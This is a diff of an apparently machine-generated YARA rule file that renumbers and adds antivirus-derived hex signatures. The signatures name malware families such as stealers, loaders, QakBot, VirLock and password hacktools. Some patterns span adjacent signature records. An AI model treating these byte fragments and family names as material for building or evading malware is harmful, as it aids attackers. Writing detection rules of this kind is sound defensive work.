_InfrastructureShared_2893{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2894{ +rule _InfrastructureShared_2937{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29930,7 +30389,7 @@ rule _InfrastructureShared_2894{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2895{ +rule _InfrastructureShared_2938{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29940,7 +30399,7 @@ rule _InfrastructureShared_2895{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2896{ +rule _InfrastructureShared_2939{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29950,7 +30409,7 @@ rule _InfrastructureShared_2896{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2897{ +rule _InfrastructureShared_2940{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29960,7 +30419,7 @@ rule _InfrastructureShared_2897{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2898{ +rule _InfrastructureShared_2941{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29970,7 +30429,7 @@ rule _InfrastructureShared_2898{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2899{ +rule _InfrastructureShared_2942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29980,7 +30439,7 @@ rule _InfrastructureShared_2899{ ((#a_77_0 & 1)*19491) >=1 } -rule _InfrastructureShared_2900{ +rule _InfrastructureShared_2943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -29990,7 +30449,27 @@ rule _InfrastructureShared_2900{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2901{ +rule _InfrastructureShared_2944{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 43 42 21 4d 54 42 00 01 00 18 01 11 04 11 04 1f 19 62 61 13 04 11 0d 20 ee 09 c6 24 5a 20 c8 2c 31 c8 61 00 00 78 46 00 00 01 00 01 00 01 00 21 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2945{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 72 74 65 2e 41 42 21 4d 54 42 00 01 00 1b 01 01 0b 06 07 16 1a 6f 1d 00 00 0a 26 07 16 28 1c 00 00 0a 0c 06 16 73 cd 00 00 0a 00 00 78 46 00 00 01 00 01 00 01 00 21 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30000,7 +30479,7 @@ rule _InfrastructureShared_2901{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2902{ +rule _InfrastructureShared_2947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30010,7 +30489,27 @@ rule _InfrastructureShared_2902{ ((#a_4c_0 & 1)*21539) >=1 } -rule _InfrastructureShared_2903{ +rule _InfrastructureShared_2948{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 69 74 72 6f 67 65 6e 4c 64 72 2e 50 43 4f 21 4d 54 42 00 01 00 13 03 0f 94 c0 31 d2 0f b6 c0 90 01 07 8a 04 0f 88 04 0b 90 00 00 00 78 46 00 00 01 00 01 00 01 00 21 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2949{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_6f_0 = {61 6e 3a 4d 53 49 4c 2f 53 74 65 61 6c 65 72 63 2e 41 49 41 4e 21 4d 54 42 00 01 00 1a 03 d2 61 d2 81 90 01 01 00 00 01 1f 0e 13 10 38 90 01 02 ff ff 11 07 17 59 90 00 00 00 78 46 00 00 01 00 01 00 01 00 21 23 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 54 4d 00 01 00 1c 11 c6 45 c4 61 c6 45 c5 64 c6 45 c6 76 } //21539 + condition: + ((#a_6f_0 & 1)*21539) >=1 + +} +rule _InfrastructureShared_2950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30020,7 +30519,7 @@ rule _InfrastructureShared_2903{ ((#a_72_0 & 1)*22051) >=1 } -rule _InfrastructureShared_2904{ +rule _InfrastructureShared_2951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30030,7 +30529,7 @@ rule _InfrastructureShared_2904{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2905{ +rule _InfrastructureShared_2952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30040,7 +30539,7 @@ rule _InfrastructureShared_2905{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2906{ +rule _InfrastructureShared_2953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30050,7 +30549,7 @@ rule _InfrastructureShared_2906{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2907{ +rule _InfrastructureShared_2954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30060,7 +30559,7 @@ rule _InfrastructureShared_2907{ ((#a_5f_0 & 1)*25635) >=1 } -rule _InfrastructureShared_2908{ +rule _InfrastructureShared_2955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -30070,7 +30569,7 @@ rule _InfrastructureShared_2908{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_2909{ +rule _InfrastructureShared_2956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -30080,7 +30579,7 @@ rule _InfrastructureShared_2909{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_2910{ +rule _InfrastructureShared_2957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -30090,7 +30589,7 @@ rule _InfrastructureShared_2910{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2911{ +rule _InfrastructureShared_2958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -30100,7 +30599,7 @@ rule _InfrastructureShared_2911{ ((#a_4c_0 & 1)*21539) >=2 } -rule _InfrastructureShared_2912{ +rule _InfrastructureShared_2959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30111,7 +30610,7 @@ rule _InfrastructureShared_2912{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*28530) >=2 } -rule _InfrastructureShared_2913{ +rule _InfrastructureShared_2960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30122,7 +30621,7 @@ rule _InfrastructureShared_2913{ ((#a_54_0 & 1)*18467+(#a_32_1 & 1)*28265) >=2 } -rule _InfrastructureShared_2914{ +rule _InfrastructureShared_2961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30133,7 +30632,7 @@ rule _InfrastructureShared_2914{ ((#a_54_0 & 1)*18467+(#a_33_1 & 1)*26967) >=2 } -rule _InfrastructureShared_2915{ +rule _InfrastructureShared_2962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30144,7 +30643,7 @@ rule _InfrastructureShared_2915{ ((#a_77_0 & 1)*19491+(#a_01_1 & 1)*17807) >=2 } -rule _InfrastructureShared_2916{ +rule _InfrastructureShared_2963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30155,7 +30654,7 @@ rule _InfrastructureShared_2916{ ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*21539) >=2 } -rule _InfrastructureShared_2917{ +rule _InfrastructureShared_2964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30166,7 +30665,7 @@ rule _InfrastructureShared_2917{ ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*21539) >=2 } -rule _InfrastructureShared_2918{ +rule _InfrastructureShared_2965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -30177,41 +30676,32 @@ rule _InfrastructureShared_2918{ ((#a_4c_0 & 1)*21539+(#a_54_1 & 1)*18467) >=2 } -rule _InfrastructureShared_2919{ +rule _InfrastructureShared_2966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " strings : $a_54_0 = {3a 69 41 64 47 61 6d 65 00 01 00 07 01 69 41 44 47 61 6d 65 01 00 0b 01 49 41 44 5f 42 48 4f 2e 64 6c 6c 01 00 07 01 2f 69 65 70 6f 70 2f 01 00 04 01 49 45 41 64 00 00 02 00 78 46 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 41 75 74 6f 41 74 74 72 } //18467 - $a_6c_1 = {31 37 30 43 37 31 43 45 00 01 00 07 01 76 65 72 2e 65 78 65 01 00 06 01 76 65 72 2e 65 78 01 00 08 01 73 74 69 6e 67 41 73 73 00 00 78 46 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 47 50 50 43 21 4d 54 42 00 04 00 1a 03 8d 07 00 00 01 25 16 03 1f 4d 6f 90 01 01 00 } //29517 - $a_9c_2 = {17 03 1f 5a 90 00 00 00 78 46 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 69 72 4c 6f 63 6b 2e 41 52 41 21 4d 54 42 00 02 00 0b 01 80 31 cc 48 ff c1 48 ff ca 75 f5 02 00 07 01 30 4f ff 47 28 77 fe 00 00 78 46 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 65 61 76 79 50 61 73 73 2e 41 21 64 68 61 00 64 00 12 43 41 eb e0 8b 90 01 02 bf 56 93 d2 c3 3b c7 74 15 90 00 00 00 78 46 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 73 74 4d 69 6e 65 2e 41 21 64 68 61 00 64 00 13 01 8b } //2560 - $a_39_3 = {53 75 2f 80 79 02 54 75 29 51 8b ce e8 00 00 78 46 00 00 64 00 64 00 01 00 21 23 48 53 54 52 3a 41 64 77 61 72 65 3a 57 69 6e 33 32 2f 46 69 64 6f 74 00 01 00 1e 01 2e 00 64 00 6f 00 74 00 64 00 6f 00 2e 00 6e 00 65 00 74 00 2f 00 61 00 64 00 73 00 73 00 00 00 01 00 78 47 00 00 01 00 01 00 01 00 21 23 41 4c 46 3a 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 49 63 65 64 49 44 } //26312 + $a_6c_1 = {31 37 30 43 37 31 43 45 00 01 00 07 01 76 65 72 2e 65 78 65 01 00 06 01 76 65 72 2e 65 78 01 00 08 01 73 74 69 6e 67 41 73 73 00 00 78 46 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 56 69 72 4c 6f 63 6b 2e 41 52 41 21 4d 54 42 00 02 00 0b 01 80 31 cc 48 ff c1 48 ff ca 75 f5 } //29517 + $a_01_2 = {30 4f ff 47 28 77 fe } //2 + $a_46_3 = {00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 65 61 76 79 50 61 73 73 2e 41 21 64 68 61 00 64 00 12 43 41 eb e0 8b 90 01 02 bf 56 93 d2 c3 3b c7 74 15 90 00 00 00 78 46 00 00 64 00 64 00 01 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4d 69 73 74 4d 69 6e 65 2e 41 21 64 68 61 00 } //0 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29517+(#a_9c_2 & 1)*2560+(#a_39_3 & 1)*26312) >=2 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29517+(#a_01_2 & 1)*2+(#a_46_3 & 1)*0) >=2 } -rule _InfrastructureShared_2920{ +rule _InfrastructureShared_2967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " strings : - $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 31 37 30 43 37 31 43 45 00 01 00 07 01 76 65 72 2e 65 78 65 01 00 06 01 76 65 72 2e 65 78 01 00 08 01 73 74 69 6e 67 41 73 73 00 00 78 46 00 00 04 00 04 00 01 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 } //18467 - $a_5a_1 = {73 79 2e 47 50 50 43 21 4d 54 42 00 04 00 1a 03 8d 07 00 00 01 25 16 03 1f 4d 6f 90 01 01 00 00 0a d2 9c 25 17 03 1f 5a 90 00 00 00 78 46 00 } //19529 + $a_54_0 = {3a 41 75 74 6f 41 74 74 72 4d 73 69 6c 5f 31 37 30 43 37 31 43 45 00 01 00 07 01 76 65 72 2e 65 78 65 01 00 06 01 76 65 72 2e 65 78 01 00 08 01 73 74 69 6e 67 41 73 73 00 00 78 46 00 00 04 00 04 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 } //18467 + $a_34_1 = {56 69 72 4c 6f 63 6b 2e 41 52 41 21 4d 54 42 00 02 00 0b 01 80 31 cc 48 ff c1 48 ff ca 75 f5 02 00 07 01 30 4f ff 47 28 77 fe 00 00 78 46 00 00 64 00 64 00 01 00 } //28265 + $a_4c_2 = {50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 48 65 61 76 79 50 61 73 73 2e 41 21 64 68 61 00 64 00 12 43 41 eb e0 8b 90 01 02 bf 56 93 d2 c3 3b c7 74 15 90 00 00 00 78 46 00 00 64 00 } //8993 condition: - ((#a_54_0 & 1)*18467+(#a_5a_1 & 1)*19529) >=3 + ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*28265+(#a_4c_2 & 1)*8993) >=3 } -rule _InfrastructureShared_2921{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 01 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 5a 75 73 79 2e 47 50 50 43 21 4d 54 42 00 04 00 1a 03 8d 07 00 00 01 25 16 03 1f 4d 6f 90 01 01 00 00 0a d2 9c 25 17 03 1f 5a 90 00 00 00 78 46 00 00 04 00 04 00 02 00 21 } //21539 - condition: - ((#a_4c_0 & 1)*21539) >=4 - -} -rule _InfrastructureShared_2922{ +rule _InfrastructureShared_2968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -30222,7 +30712,7 @@ rule _InfrastructureShared_2922{ ((#a_54_0 & 1)*18467+(#a_57_1 & 1)*27759) >=4 } -rule _InfrastructureShared_2923{ +rule _InfrastructureShared_2969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -30232,7 +30722,7 @@ rule _InfrastructureShared_2923{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2924{ +rule _InfrastructureShared_2970{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -30242,7 +30732,7 @@ rule _InfrastructureShared_2924{ ((#a_46_0 & 1)*16675) >=100 } -rule _InfrastructureShared_2925{ +rule _InfrastructureShared_2971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 01 00 21 " @@ -30252,7 +30742,7 @@ rule _InfrastructureShared_2925{ ((#a_54_0 & 1)*18467) >=100 } -rule _InfrastructureShared_2926{ +rule _InfrastructureShared_2972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30262,7 +30752,7 @@ rule _InfrastructureShared_2926{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2927{ +rule _InfrastructureShared_2973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30272,7 +30762,7 @@ rule _InfrastructureShared_2927{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2928{ +rule _InfrastructureShared_2974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30282,7 +30772,7 @@ rule _InfrastructureShared_2928{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2929{ +rule _InfrastructureShared_2975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30292,7 +30782,7 @@ rule _InfrastructureShared_2929{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2930{ +rule _InfrastructureShared_2976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30302,7 +30792,7 @@ rule _InfrastructureShared_2930{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2931{ +rule _InfrastructureShared_2977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30312,7 +30802,7 @@ rule _InfrastructureShared_2931{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2932{ +rule _InfrastructureShared_2978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30322,7 +30812,7 @@ rule _InfrastructureShared_2932{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2933{ +rule _InfrastructureShared_2979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30332,7 +30822,7 @@ rule _InfrastructureShared_2933{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2934{ +rule _InfrastructureShared_2980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30342,7 +30832,7 @@ rule _InfrastructureShared_2934{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_2935{ +rule _InfrastructureShared_2981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30352,7 +30842,7 @@ rule _InfrastructureShared_2935{ ((#a_73_0 & 1)*16931) >=1 } -rule _InfrastructureShared_2936{ +rule _InfrastructureShared_2982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30362,7 +30852,7 @@ rule _InfrastructureShared_2936{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2937{ +rule _InfrastructureShared_2983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30372,7 +30862,7 @@ rule _InfrastructureShared_2937{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2938{ +rule _InfrastructureShared_2984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30382,7 +30872,7 @@ rule _InfrastructureShared_2938{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2939{ +rule _InfrastructureShared_2985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30392,7 +30882,7 @@ rule _InfrastructureShared_2939{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2940{ +rule _InfrastructureShared_2986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30402,7 +30892,7 @@ rule _InfrastructureShared_2940{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2941{ +rule _InfrastructureShared_2987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30412,7 +30902,7 @@ rule _InfrastructureShared_2941{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2942{ +rule _InfrastructureShared_2988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30422,7 +30912,7 @@ rule _InfrastructureShared_2942{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2943{ +rule _InfrastructureShared_2989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30432,7 +30922,7 @@ rule _InfrastructureShared_2943{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2944{ +rule _InfrastructureShared_2990{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30442,7 +30932,7 @@ rule _InfrastructureShared_2944{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2945{ +rule _InfrastructureShared_2991{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30452,7 +30942,7 @@ rule _InfrastructureShared_2945{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2946{ +rule _InfrastructureShared_2992{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30462,7 +30952,7 @@ rule _InfrastructureShared_2946{ ((#a_49_0 & 1)*17699) >=1 } -rule _InfrastructureShared_2947{ +rule _InfrastructureShared_2993{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30472,7 +30962,7 @@ rule _InfrastructureShared_2947{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2948{ +rule _InfrastructureShared_2994{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30482,7 +30972,7 @@ rule _InfrastructureShared_2948{ ((#a_6b_0 & 1)*17955) >=1 } -rule _InfrastructureShared_2949{ +rule _InfrastructureShared_2995{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30492,7 +30982,7 @@ rule _InfrastructureShared_2949{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2950{ +rule _InfrastructureShared_2996{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30502,7 +30992,7 @@ rule _InfrastructureShared_2950{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2951{ +rule _InfrastructureShared_2997{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30512,7 +31002,7 @@ rule _InfrastructureShared_2951{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2952{ +rule _InfrastructureShared_2998{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30522,7 +31012,7 @@ rule _InfrastructureShared_2952{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2953{ +rule _InfrastructureShared_2999{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30532,7 +31022,7 @@ rule _InfrastructureShared_2953{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2954{ +rule _InfrastructureShared_3000{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30542,7 +31032,7 @@ rule _InfrastructureShared_2954{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2955{ +rule _InfrastructureShared_3001{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30552,7 +31042,7 @@ rule _InfrastructureShared_2955{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2956{ +rule _InfrastructureShared_3002{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30562,7 +31052,7 @@ rule _InfrastructureShared_2956{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2957{ +rule _InfrastructureShared_3003{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30572,7 +31062,7 @@ rule _InfrastructureShared_2957{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2958{ +rule _InfrastructureShared_3004{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30582,7 +31072,7 @@ rule _InfrastructureShared_2958{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2959{ +rule _InfrastructureShared_3005{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30592,7 +31082,7 @@ rule _InfrastructureShared_2959{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2960{ +rule _InfrastructureShared_3006{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30602,7 +31092,7 @@ rule _InfrastructureShared_2960{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2961{ +rule _InfrastructureShared_3007{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30612,7 +31102,7 @@ rule _InfrastructureShared_2961{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2962{ +rule _InfrastructureShared_3008{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -30622,17 +31112,37 @@ rule _InfrastructureShared_2962{ ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2963{ +rule _InfrastructureShared_3009{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " strings : - $a_54_0 = {3a 57 69 6e 33 32 2f 51 61 6b 42 6f 74 2e 31 00 01 00 25 03 8b d8 31 0d 90 01 04 8b ff c7 05 90 01 08 8b 1d 90 01 04 01 1d 90 01 04 a1 90 01 04 8b 0d 90 01 04 89 08 90 00 00 00 78 47 00 00 01 00 01 00 01 00 21 23 4c 6f 77 50 57 53 3a 57 69 6e 33 32 } //18467 + $a_54_0 = {3a 57 69 6e 33 32 2f 51 61 6b 42 6f 74 2e 31 00 01 00 25 03 8b d8 31 0d 90 01 04 8b ff c7 05 90 01 08 8b 1d 90 01 04 01 1d 90 01 04 a1 90 01 04 8b 0d 90 01 04 89 08 90 00 00 00 78 47 00 00 01 00 01 00 01 00 21 23 48 53 54 52 3a 57 69 6e 36 34 2f 42 } //18467 condition: ((#a_54_0 & 1)*18467) >=1 } -rule _InfrastructureShared_2964{ +rule _InfrastructureShared_3010{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 36 34 2f 42 61 64 4a 6f 6b 65 2e 47 56 41 31 00 01 00 21 01 ff c1 0f b6 6e 04 45 02 f6 0f b6 c1 0f 57 c0 